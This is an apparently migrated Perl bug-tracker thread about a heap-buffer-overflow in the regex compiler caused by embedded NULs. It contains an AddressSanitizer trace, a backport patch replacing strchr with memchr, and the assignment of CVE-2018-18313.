The date on that commit is misleading. It was not placed into blead
until this merge:commit c33d640
*Merge: d5e32b9 85bb8b9
Author: Karl Williamson <khw@cpan.org>
Date: Mon Nov 6 14:32:14 2017 -0700* Merge branch 'convert strchr to memchr' into blead
Using C string functions on Perl strings doesn't work properly ifthey
contain embedded NULs. This can happen with Perl program text, for
example, and even if the NUL is illegal, the generated diagnostics
are
likely to be misleading as the parsing would have terminated
prematurely.I have done an audit on core for cases where C string functionsare used
in contexts where a Perl string is being processed. This came
down to
uses of strchr() and strrchr(). This branch changes many of them
to
memchr() and memrchr() respectively. Not all uses of these
functions
need change, as there are places where C strings are what is being
processed, such as dealing with OS strings that are NUL terminated.
File paths and environ are two examples.Also\, memchr and memrchr tend to be faster than their strequivalents,
as they only need to look for one termination condition, and there
may
be hardware assistance on some platforms. Further, memrchr knows
exactly where to start looking, instead of having to find the NUL
ending
the string (strrchr is likely to be implemented as iterating over
the
string using strchr from the left, over and over until it fails).I may have converted some str functions to mem ones unnecessarily\,as I
didn't check in full detail if some were operating only on C
strings, but
given that the mem ones are faster, this is OKWe could fix this particular instance in maintenance releases, but I
imagine that there are plenty of other attacks available using embedded
NULs.This issue was added to blead by this commit:
commit b6d6707
Author: Karl Williamson <khw@cpan.org>
Date: Mon Mar 16 22:38:20 2015 -0600Fix qr'\\N\{U\+41\}' on EBCDIC platforms Prior to this commit\, the regex compiler was relying on the lexer todo
the translation from Unicode to native for \N{...} constructs, where
it
was simpler to do. However, when the pattern is a single-quoted
string,
it is passed unchanged to the regex compiler, and did not work.
Fixing
it required some refactoring, though it led to a clean API in a static
function.This was spotted by Father Chrysostomos\.=================================================================
==26973==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000132c at pc 0x0000004dc2b4 bp 0x7ffe12396b10 sp 0x7ffe123962c0
READ of size 13 at 0x60200000132c thread T0
#0 0x4dc2b3 in __asan_memcpy
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3)
#1 0xebfd4b in Perl_sv_vcatpvfn_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:13067:6
#2 0xe8f679 in Perl_sv_vsetpvfn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:10953:5
#3 0xba64c7 in Perl_vmess
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:1487:5
#4 0xa3c76a in S_re_croak2
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:19948:11
#5 0xb0fb73 in S_grok_bslash_N
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12027:9
#6 0xa96e75 in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12887:17
#7 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#8 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#9 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#10 0xac34a0 in S_regclass
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:17141:8
#11 0xa87ade in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12546:15
#12 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#13 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#14 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#15 0x937e24 in Perl_re_op_compile
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:7105:9
#16 0xffd4d4 in Perl_pp_regcomp
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_ctl.c:108:14
#17 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#18 0x6979ce in S_run_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c
#19 0x6979ce in perl_run
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2455
#20 0x52a587 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:123:9
#21 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)
#22 0x435b89 in _start
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x435b89)0x60200000132c is located 4 bytes to the left of 11-byte region
[0x602000001330,0x60200000133b)
allocated by thread T0 here:
#0 0x4f2130 in malloc
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4f2130)
#1 0xb9dd20 in Perl_safesysmalloc
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:153:21
#2 0xdcd1d0 in Perl_sv_grow
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:1601:17
#3 0xdf1a22 in Perl_sv_setpvn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:5003:12
#4 0xdf10d0 in Perl_sv_copypv_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:3250:5
#5 0xd31205 in Perl_pp_stringify
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_hot.c:89:5
#6 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#7 0x585e47 in S_fold_constants
/home/eiichi/git/etfuzz/ext/perl_5.26.2/op.c:4557:2
#8 0x8e92ec in Perl_yyparse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perly.y
#9 0x690456 in S_parse_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2385:9
#10 0x681b92 in perl_parse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:1700:2
#11 0x52a542 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:121:18
#12 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)SUMMARY: AddressSanitizer: heap-buffer-overflow
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3)
in__asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8210: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x0c047fff8220: fa fa 00 04 fa fa 00 02 fa fa 00 01 fa fa 00 02
0x0c047fff8230: fa fa 00 05 fa fa 00 02 fa fa 00 fa fa fa 00 01
0x0c047fff8240: fa fa 00 00 fa fa 02 fa fa fa fd fd fa fa fd fd
0x0c047fff8250: fa fa 00 02 fa fa 00 00 fa fa fd fd fa fa fd fd
=>0x0c047fff8260: fa fa fd fd fa[fa]00 03 fa fa fd fa fa fa fd fd
0x0c047fff8270: fa fa fd fd fa fa fd fa fa fa 00 02 fa fa fd fd
0x0c047fff8280: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26973==ABORTING
```From @tonycoz
On Fri, 11 May 2018 09:23:48 -0700, public@khwilliamson.com wrote:
This was fixed in blead by
commit 43b2f4e
Author: Karl Williamson <khw@cpan.org>
Date: Sat Mar 25 15:00:22 2017 -0600regcomp.c: Convert some strchr to memchr
This allows things to work properly in the face of embedded NULs.
See the branch merge message for more information.So this ticket does not apply to our pending 5.28.
The attached is a backport back to maint-5.26.
Tony
From @tonycoz
maint-5.26-133192.patch
From cc56be313c7d4e7c266c01dabc762a153d5b2c28 Mon Sep 17 00:00:00 2001 From: Karl Williamson <khw@cpan.org> Date: Sat, 25 Mar 2017 15:00:22 -0600 Subject: [PATCH] regcomp.c: Convert some strchr to memchr This allows things to work properly in the face of embedded NULs. See the branch merge message for more information. (cherry picked from commit 43b2f4ef399e2fd7240b4eeb0658686ad95f8e62) --- regcomp.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/regcomp.c b/regcomp.c index d0d08352c0..2bee9d4460 100644 --- a/regcomp.c +++ b/regcomp.c @@ -12018,7 +12018,8 @@ S_grok_bslash_N(pTHX_ RExC_state_t *pRExC_state, RExC_parse++; /* Skip past the '{' */ - if (! (endbrace = strchr(RExC_parse, '}'))) { /* no trailing brace */ + endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); + if (! endbrace) { /* no trailing brace */ vFAIL2("Missing right brace on \\%c{}", 'N'); } else if(!(endbrace == RExC_parse /* nothing between the {} */ @@ -12687,9 +12688,11 @@ S_regatom(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth) else { STRLEN length; char name = *RExC_parse; - char * endbrace; + char * endbrace = NULL; RExC_parse += 2; - endbrace = strchr(RExC_parse, '}'); + if (RExC_parse < RExC_end) { + endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); + } if (! endbrace) { vFAIL2("Missing right brace on \\%c{}", name); @@ -16210,7 +16213,7 @@ S_regclass(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth, vFAIL2("Empty \\%c", (U8)value); if (*RExC_parse == '{') { const U8 c = (U8)value; - e = strchr(RExC_parse, '}'); + e = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (!e) { RExC_parse++; vFAIL2("Missing right brace on \\%c{}", c); -- 2.11.0
From @tonycoz
I plan to request a CVE ID for this issue in the next couple of days.
If anyone has already requested an ID, please let me know.
Thanks,
TonyFrom @tonycoz
On Sun, 23 Sep 2018 23:41:48 -0700, tonyc wrote:
I plan to request a CVE ID for this issue in the next couple of days.
This is CVE-2018-18313.
Tony
From @steve-m-hay
Moved to public queue with the release of 5.26.3.
From [Unknown Contact. See original ticket]
Moved to public queue with the release of 5.26.3.
From @steve-m-hay
This was fixed in blead by commit 43b2f4e, and back-ported to 5.26.3 by commit c1c28ce.
@steve-m-hay - Status changed from 'open' to 'resolved'
Migrated from rt.perl.org#133192 (status was 'resolved')
Searchable as RT133192$